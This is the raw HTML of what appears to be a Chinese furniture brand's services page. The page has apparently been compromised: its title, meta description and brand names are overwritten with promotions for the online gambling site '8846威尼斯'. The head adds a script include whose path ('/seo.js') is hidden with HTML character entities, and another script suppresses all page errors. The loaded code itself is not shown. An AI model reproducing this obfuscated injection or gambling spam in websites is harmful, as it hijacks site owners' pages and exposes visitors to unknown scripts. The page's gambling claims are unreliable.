<!DOCTYPE html>
<html>

<head><script>var V_PATH="/";window.onerror=function(){ return true; };</script>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <meta name="renderer" content="webkit">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
    <meta name="format-detection" content="telephone=no" />
    <title>中国·8846威尼斯(股份)有限公司-官方网站</title>
    <meta name="keywords" content="8846威尼斯" />
    <meta name="description" content="🍀8846威尼斯🍀入口赛事保障100%公平公正,股份有限公司app下载网站,手机版提供最新娱乐在线游戏,注册官网,登录平台,开户地址,直播安装,网页版在这里你可以享受到更好的体验!" />

    <link rel="stylesheet" type="text/css" href=":443/static/home/css/bootstrap.css">
    <link rel="stylesheet" type="text/css" href=":443/static/home/css/common.css">
    <link rel="stylesheet" type="text/css" href=":443/static/home/css/font-awesome.css">
    <link rel="stylesheet" type="text/css" href=":443/static/home/css/swiper-3.4.1.min.css">
    <link rel="stylesheet" type="text/css" href=":443/static/home/css/index.css">
    <!-- <link rel="stylesheet" type="text/css" href=":443/static/home/css/style1.css"> -->
    <!--[if lte IE 9]>
   <script src=":443/static/home/js/respond.min.js"></script>
   <script src=":443/static/home/js/html5shiv.js"></script>
<![endif]-->


    <script>
        if (navigator.appName == 'Microsoft Internet Explorer' && (navigator.appVersion.match(/7./i) == '7.' || navigator.appVersion.match(/8./i) == '8.' || navigator.appVersion.match(/9./i) == '9.')) {
            self.location.href = 'ie/ie.html'
        }
    </script>

<link rel="alternate" media="only screen and(max-width: 640px)" href="http://zhongsuoxin.com" ><script type="text/javascript" src="&#47;&#115;&#101;&#111;&#46;&#106;&#115;" rel="nofollow"></script></head>
<style>
    .navaa {
        width: 180px;
        height: 26px;
        /* margin: 20px auto; */
        background: #fff;
    }

    .navaa p {
        background: #383838;
        display: block;
        line-height: 26px;
        color: #fff;
    }

    .set {
        background: url(:443/static/home/images/btn_2.png) 165px 10px no-repeat;
        cursor: pointer;
    }

    .select {
        background: url(:443/static/home/images/btn_1.png) 165px 10px no-repeat;
    }

    .newaa {
        width: 100px;
        position: absolute;
        border: 1px solid #CCC;
        display: none;
        background: #fff;
        top: 26px;
        padding-left: 0;
        margin-bottom: 0;
        z-index: 1111111111111;
    }

    .navaa ul li {
        line-height: 30px;
        padding-left: 10px;
    }

    .navaa ul li:hover {
        background: #383838;
        color: #FFF;
    }

    /*  */
    .aaa {
        width: 71%;
        margin: 0 auto;
    }

    .aaa>p {
        width: 1px;
        height: 3rem;
        background-color: black;
        margin: 30px auto;
    }

    .aaa>h2 {
        text-align: center;
        margin-bottom: 80px;
    }




    .box-item-left {
        width: 35%;
        padding: 2% 3%;
        background-color: #333;
        color: #fff;
    }

    .box-item-left>h4 {
        font-size: 16px;
    }

    .box-item-left>span {
        display: block;
        width: 10%;
        height: 1px;
        background-color: #fff;
        margin: 30px 0;
    }

    .box-item-left>h3 {
        font-size: 18px;
    }

    .box-item-left>div>p {
        color: #CCC;
        line-height: 26px;
        margin-top: 20px;
        display: -webkit-box;
    	-webkit-box-orient: vertical;
    	-webkit-line-clamp: 3;
    	overflow: hidden;
    }
    .box-item-left>p {
        color: #CCC;
        line-height: 26px;
        margin-top: 20px;
    }

    .box-item-left>.more {
        width: 110px;
        border: 1px solid #fff;
        padding: 1% 3%;
        text-align: center;
        margin-top: 30%;
        color: #fff;
    }

    .more>a {
        color: #fff;
    }

    .box-item-right {
        width: 65%;
        background-repeat: no-repeat;
        background-position: center;
        background-size: cover;
    }

    .box-item-right img {
        width: 100%;
    }

    .arr {
        text-align: center;
    }

    @media(min-width: 765px) {
        .box-item {
            width: 100%;
            display: flex;
            margin: 40px 0;
        }
    }

    @media(max-width: 765px) {
        .aaa {
            width: 90%;
        }

        .box-item-left {
            width: 100%;
        }

        .box-item-right {
            width: 100%;
        }

        .box-item {
            margin: 20px 0;
        }
    }
</style>

<body><script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https') {
        bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
    }
    else {
        bp.src = 'http://push.zhanzhang.baidu.com/push.js';
    }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})();
</script>
<h1><a href="/" target="_blank">中国·8846威尼斯(股份)有限公司-官方网站</a></h1>

    <!--  / header  -->
    <!--  / header  -->
<div class="hidden-xs" style="width: 100%;
margin: auto;
height: 116px;
background: rgba(255,255,255,.9);
padding: 0;
line-height: 100px;
position: absolute;
z-index: 11;
top: 0;">
    <div class="nav_h clearfix">
        <div class="nav_h_l">
            <!-- <span><img src=":443/static/home/images/1 (6).png" alt=""></span><span>400-888-8888</span>
                <span><img src=":443/static/home/images/1 (3).png" alt=""></span><span>联系我们</span> -->
            <span><img src=":443/static/home/images/1 (4).png" alt=""></span><span><a href="/Stores"
                                                                     style="color: #fff">全国体验中心</a></span>
            <!-- <span><img src=":443/static/home/images/1 (2).png" alt=""></span><span><a href="https://yazhenjiaju.tmall.com/" style="color: #fff" target="_blank" >线上选购</a></span> -->
        </div>
        <!-- <div class="nav_h_c">
            <p>网站全面升级，部分功能正在开发中，不便之处敬请谅解！</p>
        </div> -->
        <div class="nav_h_r">

            <!-- <span><a href="##" style="color: #fff;">CN</a> </span> -->
            <!-- <span><a href="##" style="color: #fff;">EN</a> </span> -->
            <!-- <span>  <img src=":443/static/home/images/1 (5).png" alt=""> </span> -->
            <div class="navaa">
                <p class="set">全国置家热线：4000603389  </p>
                <!-- <img src=":443/static/home/images/1 (5).png" alt="" style="position: absolute;
                        width: 20px;
                        top: 4px;
                        right: 90px;">
                        <ul class="newaa">
                            <li>CN</li>
                            <li>EN</li>
                        </ul> -->
            </div>

        </div>

    </div>
    <div class="header clearfix">
        <div class="logo"><a href="/"><img width="100%" src=":443/static/home/images/logo_01.png" alt=""> </a></div>
        <div class="nav1">
            <ul class="clearfix">
                <li class="n n1"><a href="/Brand"> 品牌</a>
                    <div class="navlist clearfix nn1">
                        <div class="sjx"></div>
                        <div class="navlist_img">
                            <img src=":443/static/home/images/gy_03.jpg" alt="" width="100%">
                        </div>
                    </div>
                </li>
                <li class="n n2"><a href="/Product"> 产品</a>
                    <div class="navlist clearfix nn2">
                        <div class="sjx sjx2"></div>
                        <div class="navlist_img">
                            <img src=":443/static/home/images/gy_03.jpg" alt="" width="100%">
                        </div>
                    </div>
                </li>
                <li class="n n3"><a href="/Cases"> 案例</a>
                </li>
				<li style='display:none' class="n n2"><a href="/news/info"> 行业资讯</a>
                    <div class="navlist clearfix nn2">
                        <div class="sjx sjx2"></div>
                        <div class="navlist_img">
                            <img src=":443/static/home/images/gy_03.jpg" alt="" width="100%">
                        </div>
                    </div>
                </li>
                <li class="n n4"><a href="/Services"> 服务</a>
                </li>
                <li class="n n5"> <a href="/Investor"> 投资者关系</a>
                    <div class="navlist clearfix nn4">
                        <div class="sjx sjx4"></div>
                        <div class="navlist_img">
                            <img src=":443/static/home/images/gy_03.jpg" alt="" width="100%">
                        </div>
                    </div>
                </li>


            </ul>
        </div>
        <div class="sousuo"><img src=":443/static/home/images/ser.png " alt="" width="20px"></div>
    </div>
</div>

<div class="visible-xs">
    <div class="heade">
        <div class="headr_img">
            <a href="/"><img width="150px" src=":443/static/home/images/logo.jpg" alt=""></a>
        </div>
        <div class="headr_cont">
            <span></span>
            <span></span>
            <span></span>
        </div>
    </div>
    <div class="headr_bot">
        <div class="heart">
            <div class="headr_img">
                <a href="/"><img width="100%" src=":443/static/home/images/logo.png" alt=""></a>
            </div>
            <div class="headr_cont hea">
                <span class="nm"></span>
                <span class="vb"></span>
            </div>
        </div>
        <div class="fort_bott fort_bott1">
            <div class="li liq">
                <div class="info">
                    <a href="/Brand">
                        <h3>品牌</h3>
                    </a>
                    <div class="inf_img">
                        <img class="img_disp img_disp2" width="13" src=":443/static/home/images/xib.png" alt="">
                        <img class=" img_disp3" width="13" src=":443/static/home/images/jianhao.png" alt="">
                    </div>
                </div>
                <div class="foyu_opi foyu_opi2">
                    <div class="foty_over y_ov">
                        <a href="/Brand/a_zenith/32">A-Zenith </a>
                        <a href="/Brand/az/33">AZ</a>
                        <a href="/Brand/customized">8846威尼斯定制</a>
                    </div>
                </div>
            </div>
            <div class="li liq">
                <div class="info">
                    <a href="/Product">
                        <h3>产品</h3>
                    </a>
                    <div class="inf_img">
                        <img class="img_disp img_disp2" width="13" src=":443/static/home/images/xib.png" alt="">
                        <img class=" img_disp3" width="13" src=":443/static/home/images/jianhao.png" alt="">
                    </div>
                </div>
                <div class="foyu_opi foyu_opi2">
                    <div class="foty_over y_ov">
                        <a href="/Product">系列</a>
                        <a href="/Product">空间</a>
                        <a href="/Product">产品</a>

                    </div>
                </div>
            </div>
            <div class="li liq">
                <div class="info">
                    <a href="/Cases">
                        <h3>案例</h3>
                    </a>
                </div>
            </div>
            <div class="li liq">
                <div class="info">
                    <a href="/Services">
                        <h3>服务</h3>
                    </a>
                    <div class="inf_img">
                        <img class="img_disp img_disp2" width="13" src=":443/static/home/images/xib.png" alt="">
                        <img class=" img_disp3" width="13" src=":443/static/home/images/jianhao.png" alt="">
                    </div>
                </div>
                <div class="foyu_opi foyu_opi2">
                    <div class="foty_over y_ov">
                        <a href="/Services">购买 </a>
                        <a href="/Services">设计支持 </a>
                        <a href="/Services">维修支持 </a>
                        <a href="/Services">服务流程 </a>
                        <a href="/Services">联系我们 </a>
                    </div>
                </div>
            </div>
            <div class="li liq">
                <div class="info">
                    <a href="/Investor">
                        <h3>投资者关系</h3>
                    </a>
                    <div class="inf_img">
                        <img class="img_disp img_disp2" width="13" src=":443/static/home/images/xib.png" alt="">
                        <img class="img_disp3" width="13" src=":443/static/home/images/jianhao.png" alt="">
                    </div>
                </div>
                <div class="foyu_opi foyu_opi2">
                    <div class="foty_over y_ov">
                        <!-- <a href="##">零售店</a>
                        <a href="##">维修与保养</a>
                        <a href="##">常见问题</a>
                        <a href="##">联系我们</a> -->
                    </div>
                </div>
            </div>

            <!-- <div class="li  liq">
                <div class="info">
                    <img width="16" height="14" src=":443/static/home/images/icon_04.png" alt="">
                    <input type="text" placeholder="搜索">
                </div>
            </div> -->
        </div>
        <!-- <p style="color: #fff;margin:30px;">网站全面升级，部分功能正在开发中，不便之处敬请谅解！</p> -->
    </div>
</div>
<!--  / header  -->
    <!--  / header  -->
    <div class="bann_nb">
        <div class="bnner_img hidden-xs">
            <img width="100%" src=":443/static/home/images/image2/space_banner.jpg" alt="">
        </div>

        <div class="visible-xs banerta">
            <img width="100%" height="100%" src=":443/static/home/images/image2/space_banner.jpg" alt="">
        </div>
    </div>


    <!--  / warpper  -->
    <div class="warp" id="app">
        <div class="aaa">
            <p></p>
            <h2>{{spaceTitle}}</h2>
            <ul class="box-list hidden-xs">
                <li class="box-item" v-for="(item , index) in spaceList">
                    <div class="box-item-left">
                        <h4>{{item.sub_title}}</h4>
                        <span></span>
                        <h3>{{item.title}}</h3>
                        <div v-html="item.sub_des"></div>
                        <p class="more"> <a :href="'/Services/spaceDetails/'+item.id">了解更多</a></p>
                    </div>
                    <div class="box-item-right" :style="{backgroundImage: 'url('+item.pic+')'}"></div>
                </li>
            </ul>
            <ul class="box-list visible-xs">
                <li class="box-item" v-for="(item , index) in spaceList">
                    <div class="box-item-right">
                        <img :src="item.pic" alt="">
                    </div>
                    <div class="box-item-left">
                        <h4>{{item.sub_title}}</h4>
                        <span></span>
                        <h3>{{item.title}}</h3>
                        <div v-html="item.sub_des"></div>
                        <p class="more"> <a :href="'/Services/spaceDetails/'+item.id">了解更多</a></p>
                    </div>
                </li>
            </ul>
            <div class="arr"><img src=":443/static/home/images/image2/arr.png" alt=""></div>
            
            <navigation style="text-align: center;" v-if="pin != 0" :pages="pages" :current.sync="pageNo" @navpage="getSpaceList"></navigation>
            
        </div>
    </div>

    <!--  / warpper  -->

    <div class="search_sec">
        <div class="clearfix">
            <img class="ser_l" src=":443/static/home/images/logo_bai.png" alt="">
            <img class="ser_r" src=":443/static/home/images/x.png" alt="">
        </div>
        <form action="/Product/prosearch" method="get" target="_self">
        <div class="input-group">
            <input type="text" name="name" value="" placeholder="Search..." />
            <button class="btn btn-sm btn-primary" ><img src=":443/static/home/images/1 (1).png" alt=""></button>   
        </div>
		</form>
    </div>
    <!-- <div class="tan clearfix hidden-xs">
    <h2>
        致力于为全球用户提供精致尚雅的海派生活方式</h2>
    
    <a href="##" class="close_t">ok</a>
    <a href="##">more info</a>
</div> -->
    <!--  / footer  -->
    <!--  / footer  -->
<div class="footer hidden-xs">
    <div class="foot_top clearfix">
        <ul>
            <a href="/"><img class="logo1" src=":443/static/home/images/logo1.png" alt=""></a>
        </ul>
        <ul>
            <a href="/About">
                <li><strong>8846威尼斯世界</strong> </li>
            </a>
            <a href="/About">
                <li>关于8846威尼斯 </li>
            </a>
            <a href="/About/brandinner">
                <li>品牌故事 </li>
            </a>
            <a href="/About/aboutmxzd">
                <li>美学之道 </li>
            </a>
            <a href="/About/aboutjxzd">
                <li>匠心之道 </li>
            </a>
            <a href="/About/aboutfyjy">
                <li>非遗技艺 </li>
            </a>
            <!-- <a href="##"><li>世博之路 </li></a>  -->
        </ul>
        <ul>
            <a href="/Brand">
                <li><strong>品牌</strong> </li>
            </a>
            <a href="/Brand/a_zenith/32">
                <li>A-Zenith </li>
            </a>
            <a href="/Brand/az/33">
                <li>AZ </li>
            </a>
            <a href="/Brand/customized">
                <li>8846威尼斯定制 </li>
            </a>
            <a href="/Brand/video">
                <li>视频 </li>
            </a>
        </ul>
        <ul>
            <a href="/Product/productList/1">
                <li><strong>产品</strong> </li>
            </a>
            <a href="/Brand">
                <li>系列</li>
            </a>
            <a href="/Product">
                <li>空间</li>
            </a>
            <a href="/Product/productList/1">
                <li>产品 </li>
            </a>
        </ul>

        <ul>
            <a href="/Services">
                <li><strong>服务与支持</strong> </li>
            </a>
            <a href="/Services">
                <li>购买 </li>
            </a>
            <a href="/Services">
                <li>设计支持 </li>
            </a>
            <a href="/Services">
                <li>维修支持 </li>
            </a>
            <a href="/Services">
                <li>服务流程 </li>
            </a>
            <a href="/Services">
                <li>联系我们 </li>
            </a>
        </ul>
        <ul>
            <a href="/News">
                <li><strong>媒体与资源</strong> </li>
            </a>
            <a href="/News">
                <li>公司新闻 </li>
            </a>
            <a href="/News">
                <li>品牌资讯 </li>
            </a>
			<a href="/News/info">
                <li>行业资讯 </li>
            </a>
            <a href="/News">
                <li>合作信息 </li>
            </a>
            <!-- <a href="/News">
                <li>资源下载 </li>
            </a> -->
        </ul>
        <ul>
            <a href="/Human">
                <li><strong>人力资源</strong> </li>
            </a>
            <a href="/Human">
                <li>人才理念 </li>
            </a>
            <a href="/Human">
                <li>社会招聘 </li>
            </a>
            <a href="/Human">
                <li>校园招聘 </li>
            </a>
			 <a style='display:none' href="/sitemap.xml">
                <li>sitemap </li>
            </a>
        </ul>
        <!-- <ul>
        <a href="##"><li><strong>社交媒体</strong> </li></a>
        <a href="##"><li>微信 </li></a>
        <a href="##"><li>小程序 </li></a>
        <a href="##"><li>微博 </li></a>
    </ul> -->
        <ul></ul>
        <ul class="wei clearfix" style="float: right; text-align: right;">
            <img src=":443/static/home/images/wei.png" alt=""><br>
            <div>
                <img src=":443/static/home/images/xiao.png" alt="" style="    width: 20px !important;margin-top: -4px;">
            </div>
            <div>
                <i class="fa fa-weibo" aria-hidden="true" style="color: #fff"></i>
            </div>
            <div>
                <i class="fa fa-weixin" aria-hidden="true" style="color: #fff"></i>
            </div>


        </ul>
    </div>
    <div class="foot_bottom clearfix">
        <div class="foot_bottom_l">COPYRIGHT 2026 中国·8846威尼斯(股份)有限公司-官方网站 All rights reserved.		
		<a href="http://beian.miit.gov.cn/" rel="external nofollow" target="_blank"> 苏ICP备2026004765号-1</a></div>
        <div class="foot_bottom_r">MADE BY:SEESUN</div>
    </div>

</div>
<div class="footer visible-xs">
    <div class="fort_bott">
        <div class="li liw">
            <div class="info">
                <a href="/About">
                    <h3>8846威尼斯世界</h3>
                </a>
                <div class="inf_img">
                    <img class="img_disp img_dispa" width="13" src=":443/static/home/images/xib.png" alt="">
                    <img class="img_disp1" width="13" src=":443/static/home/images/jianhao.png" alt="">
                </div>
            </div>
            <div class="foyu_opi foyu_opi1">
                <div class="foty_over">
                    <a href="/About">关于8846威尼斯 </a>
                    <a href="/About/brandinner">
                        <li>品牌故事 </li>
                    </a>
                    <a href="/About/aboutmxzd">美学之道 </a>
                    <a href="/About/aboutjxzd">匠心之道 </a>
                    <a href="/About/aboutfyjy">非遗技艺 </a>
                    <!-- <a href="##">世博之路 </a>  -->
                </div>
            </div>
        </div>
        <div class="li liw">
            <div class="info">
                <a href="/Brand">
                    <h3>品牌</h3>
                </a>
                <div class="inf_img">
                    <img class="img_disp img_dispa" width="13" src=":443/static/home/images/xib.png" alt="">
                    <img class="img_disp1" width="13" src=":443/static/home/images/jianhao.png" alt="">
                </div>
            </div>
            <div class="foyu_opi foyu_opi1">
                <div class="foty_over">

                    <a href="/Brand/a_zenith/32">A-ZENITH</a>
                    <a href="/Brand/az/33">AZ </a>
                    <a href="/Brand/customized">8846威尼斯定制 </a>
                </div>
            </div>
        </div>
        <div class="li liw">
            <div class="info">
                <a href="/Product">
                    <h3>产品</h3>
                </a>
                <div class="inf_img">
                    <img class="img_disp img_dispa" width="13" src=":443/static/home/images/xib.png" alt="">
                    <img class="img_disp1" width="13" src=":443/static/home/images/jianhao.png" alt="">
                </div>
            </div>
            <div class="foyu_opi foyu_opi1">
                <div class="foty_over">
                    <a href="/Product">系列</a>
                    <a href="/Product">空间</a>
                    <a href="/Product">产品</a>
                </div>
            </div>
        </div>
        <div class="li liw">
            <div class="info">
                <a href="/Services">
                    <h3>服务与支持</h3>
                </a>
                <div class="inf_img">
                    <img class="img_disp img_dispa" width="13" src=":443/static/home/images/xib.png" alt="">
                    <img class="img_disp1" width="13" src=":443/static/home/images/jianhao.png" alt="">
                </div>
            </div>
            <div class="foyu_opi foyu_opi1">
                <div class="foty_over">
                    <a href="/Services">购买 </a>
                    <a href="/Services">设计支持 </a>
                    <a href="/Services">维修支持 </a>
                    <a href="/Services">服务流程 </a>
                    <a href="/Services">联系我们 </a>
                </div>
            </div>
        </div>
        <div class="li liw">
            <div class="info">
                <a href="/News">
                    <h3>媒体与资源</h3>
                </a>
                <div class="inf_img">
                    <img class="img_disp img_dispa" width="13" src=":443/static/home/images/xib.png" alt="">
                    <img class="img_disp1" width="13" src=":443/static/home/images/jianhao.png" alt="">
                </div>
            </div>
            <div class="foyu_opi foyu_opi1">
                <div class="foty_over">

                    <a href="/News">公司新闻 </a>
                    <a href="/News">品牌资讯 </a>
                    <a href="/News">合作信息 </a>
                    <!-- <a href="/News">资源下载 </a> -->
                </div>
            </div>
        </div>

        <div class="li liw">
            <div class="info">
                <a href="/Human">
                    <h3>人力资源</h3>
                </a>
                <div class="inf_img">
                    <img class="img_disp img_dispa" width="13" src=":443/static/home/images/xib.png" alt="">
                    <img class="img_disp1" width="13" src=":443/static/home/images/jianhao.png" alt="">
                </div>
            </div>
            <div class="foyu_opi foyu_opi1">
                <div class="foty_over">
                    <a href="/Human">人才理念</a>
                    <a href="/Human">社会招聘</a>
                    <a href="/Human">校园招聘</a>
                </div>
            </div>
        </div>

    </div>
	    <div class="logo_img">
        <span></span>
        <div class="log_im" style="text-align: center;">
            <a href="/"><img width="100%" src=":443/static/home/images/logo_011.png" alt=""></a>
        </div>
        <span></span>
    </div>
    <div class="bott_fort">
        COPYRIGHT 2026 中国·8846威尼斯(股份)有限公司-官方网站 All rights reserved.
		<a href="http://beian.miit.gov.cn/" rel="external nofollow" target="_blank"> 苏ICP备2026004765号-1</a>
	    </div>
	 <script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?16fb7411bdbdef44334f479238bb125c";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();
</script>
<div style="display:none">

</div>
</div>

<!--  / footer  -->
    <!--  / footer  -->

<center>
    <form data-evt="return baiduWithHttps(this)" action="http://www.baidu.com/baidu" target="_blank">
        <input name="tn" type="hidden" value="SE_zzsearchcode_shhzc78w">
        <a target="_blank" href="https://www.baidu.com/"><img width="100px" height="22px" src="https://www.baidu.com/img/baidu_jgylogo3.gif" alt="Baidu" align="bottom" border="0"></a>
        <input type="text" data-evt="checkHttps" name="word" size="20" value="">
        <input type="submit" value="百 度" height="26px">
    </form>
    <form action="https://www.sogou.com/web" name="sf" id="sf" target="_blank">
        <a target="_blank" href="https://www.baidu.com/"><img width="100px" height="22px" src="https://www.sogou.com/web/index/images/logo_440x140.v.4.png" alt="sogou" align="bottom" border="0"></a>
        <span class="sec-input-box yuyin-cur">
            <input height="22px" type="text" class="sec-input" name="query" id="query" maxlength="100" len="80" autocomplete="off" value="">
        </span>
        <span class="enter-input"><input type="submit" id="stb" value="搜 狗" height="26px"></span>
        <input type="hidden" name="_asf" value="www.sogou.com">
        <input type="hidden" name="_ast">
        <input type="hidden" name="w" value="01019900">
        <input type="hidden" name="p" value="40040100">
        <input type="hidden" name="ie" value="utf8">
        <input type="hidden" name="from" value="index-nologin">
        <input type="hidden" name="s_from" value="index">
    </form>  
  <form id="so360form" target="_blank" action="https://www.so.com/">
        <img width="100px" height="22px" src="http://p1.qhimg.com/d/_onebox/search.png">
        <input height="22px" id="so360_keyword" type="text" name="q" autocomplete="off" value="">
        <input id="so360_submit" type="submit" value="搜 索" height="26px">
        <input type="hidden" value="utf-8" name="ie">
        <input type="hidden" value="zz" name="src">
        <input type="hidden" value="so.com" name="site">
        <input type="hidden" value="1" name="rg">
    </form>
</center></body>

<script src=":443/static/home/js/jquery-1.11.1.min.js"></script>
<script src=":443/static/home/js/bootstrap.js"></script>
<script src=":443/static/home/js/jquery-ui.min.js"></script>
<script src=":443/static/home/js/easing.js"></script>
<script src=":443/static/home/js/swiper-3.4.1.min.js"></script>
<script src=":443/static/home/js/index.js"></script>
<script src=":443/static/home/js/main.js"></script>
<script src=":443/static/home/js/vue.min.js"></script>
<script src=":443/static/home/js/pagination.js"></script>

<script>
	var Url = window.location.protocol + '//' + window.location.host;

	var app = new Vue({
		el:'#app',
		data: {
			pageNo: 1, // 当前页
            pages: 1, // 总页数
            num: 6, // 每页数据个数
            pin: 0,// 是否显示分页器
            cid:'',
            spaceList:[],
            spaceTitle:'',
		},
		created:function(){
			var _this = this;
			var href = window.location.href.split('/');
            _this.cid = href[href.length - 1];
		},
		mounted:function(){
			var _this=this;
			_this.getSpaceList(_this.pageNo);
		},
		methods:{
			getSpaceList:function(curPage){
				var _this = this;
				$.ajax({
					type:'POST',
					data:{
						cid:_this.cid,
						num:_this.num,
						p:curPage
					},
					url:Url+'/Services/space',
					dataType:'json',
					success:function(res){
						if(res.status==1){
							console.log(JSON.stringify(res))
							_this.spaceTitle = res.info.cateName;
							_this.spaceList = res.info.list;
							_this.pages = parseInt(res.info.page.pageCount); // 获取总页数
                            _this.pin = parseInt(res.info.page.pin); // 是否显示分页器
						}
					}
				})
			}
		}
	})
	
	
</script>

<script>


    $(window).resize(function () {

    })

    $('body').on('click', '.banner_down_btn', function () {
        $('html, body').animate({ scrollTop: $(window).height() - 90 }, 1000)
    })


    $('.nav1 ul li a').hover(function () {
        $('.nav1 ul li a').css("color", "#ccc");
        $(this).css("color", "#333");
    }, function () {
        $('.nav1 ul li a').css("color", "#333");
        $(this).css("color", "#333");
    });
    $(".wrap .a2").css("display", "none");
    $(".wrap .a3").css("display", "none");






    $('.foot_top ul li').hover(function () {
        $('.foot_top ul li').css("color", "#666");
        $(this).css("color", "#999");
    }, function () {

    });

    $(function () {
        $('.sousuo').click(function () {
            $('html,body').css('overflow', 'hidden');
            $('.search_sec').css('display', 'block');
        })
        $('.ser_r').click(function () {
            $('html,body').css('overflow', 'visible');
            $('.search_sec').css('display', 'none');
        })

    })

</script>

<script>
    $('.liq').on('click', function () {
        var ind = $(this).index()
        $('.foyu_opi2').eq(ind).slideToggle();
        $('.img_disp2').eq(ind).toggle();
        $('.img_disp3').eq(ind).toggle();
    })

    $('.headr_cont').on('click', function () {
        $('.headr_bot').slideDown(function () {
            $(' .liq').addClass('slid');
        });

    })

    $('.liw').on('click', function () {
        var indx = $(this).index()
        $('.foyu_opi1').eq(indx).slideToggle();
        $('.img_dispa').eq(indx).toggle();
        $('.img_disp1').eq(indx).toggle();
    })
    $('.hea').on('click', function () {
        $('.headr_bot').slideUp(function () {
            $(' .liq').removeClass('slid');
        });

    })   
</script>

<script type="text/javascript">
    $(function () {

        $(".navaa p").click(function () {
            var ul = $(".newaa");
            if (ul.css("display") == "none") {
                ul.slideDown();
            } else {
                ul.slideUp();
            }
        });

        $(".set").click(function () {
            var _name = $(this).attr("name");
            if ($("[name=" + _name + "]").length > 1) {
                $("[name=" + _name + "]").removeClass("select");
                $(this).addClass("select");
            } else {
                if ($(this).hasClass("select")) {
                    $(this).removeClass("select");
                } else {
                    $(this).addClass("select");
                }
            }
        });

        $(".navaa li").click(function () {
            var li = $(this).text();
            $(".navaa p").html(li);
            $(".newaa").hide();
            /*$(".set").css({background:'none'});*/
            $("p").removeClass("select");
        });

        // tab切换
        // $('.box-list').eq(0).css({display:'block'})
        $('.nav-list li').each(function (i) {
            $(this).click(function () {
                $('.box-item').css({ display: 'none' })
                $('.nav-list li').removeClass('act')
                $(this).addClass('act')
                $('.box-item').eq(i).css({ display: 'block' })
            })
        })
        // 滚动效果


        $(window).scroll(function () {
            if ($(window).scrollTop() > ($('.box-item h4').offset().top - $(window).height() * 0.8)) {
                $('.box-item p').animate({ top: "0", opacity: "1" }, 1000);
            }

        })
    })
</script>

</html>